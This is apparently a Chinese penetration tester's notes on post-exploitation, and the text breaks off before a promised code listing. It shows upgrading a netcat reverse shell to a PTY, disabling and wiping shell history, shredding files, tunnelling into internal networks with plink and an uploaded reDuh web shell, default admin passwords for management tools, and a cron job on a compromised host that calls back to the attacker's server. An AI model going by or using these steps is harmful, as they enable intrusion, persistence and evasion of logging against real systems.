用nst的反弹后门连上nc后不能su交互,报错如下:
standard in must be a tty
解决方法:
python -c ‘import pty; pty.spawn(“/bin/sh”)’
得到shell就可以su进行交互了。
ps:最近渗透测试中遇到的几个值得注意的情况,记录下:
1.history不记录:
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0
2.history
n :数字,意思是‘要列出最近的 n 笔命令列表’的意思!
-c :将目前的 shell 中的所有 history 内容全部消除
-a :将目前新增的 history 指令新增入 histfiles 中,若没有加 histfiles ,
则预设写入 ~/.bash_history
-r :将 histfiles 的内容读到目前这个 shell 的 history 记忆中;
-w :将目前的 history 记忆内容写入 histfiles 中!
3.正确的删除文件做法是用shred
shred -n 31337 -z -u file_to_delete
4.内网ssh映射
可以用ssh隧道代理的方式访问:plink root@公网ip -D 127.0.0.1:8080 然后ie代理socks5代理设置为127.0.0.1:8080就可以访问内网了:http://192.168.0.1
5.改了一个c++写的端口映射的工具proxy,2个版本,一个是加参数的。另一个改的读取配置文件的。源码以后公布(源码见下面回复)。
/usr/local/bin/proxy 2080 192.168.0.7 80 把0.7的80端口映射到本机的2080端口。
6.Windows下SuperO Doctor III管理后台,可用VNC:(超微主板带的管理工具,有点类似IPMI之类的)
值得注意的是,由于SuperO Doctor III分別采用到Xitami web server、TridiaVNC、SndMail 2.1以及WMI(Windows Management Instrumentation) Core 1.5,所以必须使用不同的帐号密码才能进行设置上的修改。系統登录以及Xitami web server预设默认帐号密码是ADMIN/ADMIN,而TridiaVNC密码则是abcde,而非Windows系統管理员的帐号。
7.Welcome to EIS System!
改设备的默认Telnet用户名和密码是admin/admin
8.reDuh,一个不错的工具,可以映射内网端口到http或https端口的http服务上:
服务端有aps、jsp、php版,具体下载:http://www.sensepost.com/research/reDuh。下面简单说下这个工具
先在服务器上传服务端:访问http://www.xxx.com/shell/reduh.jsp如下:
[reDuhError]Undefined Request
说明工作正常。在本地:
D:\Tools\reDuh\0.2\reDuhClient>java reDuhClient www.xxx.com 80 /shell/reduh.jsp
[Info]Querying remote JSP for usable remote RPC port
[Info]Remote RPC port chosen as 42001
[Info]Attempting to start reDuh.jsp from www.xxx.com:80/shell/reduh.jsp and set
ting remote RPC port to 42001. Please wait…
[InfoL]reDuhClient service listener started on local port 1010
[InfoL]Caught new service connection on port 1010
本地默认监听1010端口:
D:\Tools>nc -vv 127.0.0.1 1010
DNS fwd/rev mismatch: localhost != vitter
localhost [127.0.0.1] 1010 (?) open
Welcome to the reDuh command line
>>[createTunnel]5900:192.168.0.3:5900
Successfully bound locally to port 5900. Awaiting connections.
出现这个提示就ok了,[createTunnel]本地映射出的端口:被映射的内网ip:被映射的内网ip端口
然后就可以用vnc连接127.0.0.1的5900端口就是连攻击内网的192.168.0.3的服务器了。
9.对于ip不固定的怎么确认ip:
我的做法是在被攻击机器上crond里面跑一个脚本定时访问我写的一个jsp文件。
[root@cactiez etc]# cat /etc/cron.hourly/curl
#!/bin/sh
/usr/bin/curl http://xxx.xxx.com/ip/getip.jsp
该jsp代码如下:
—————————-代码开始分割线—————————–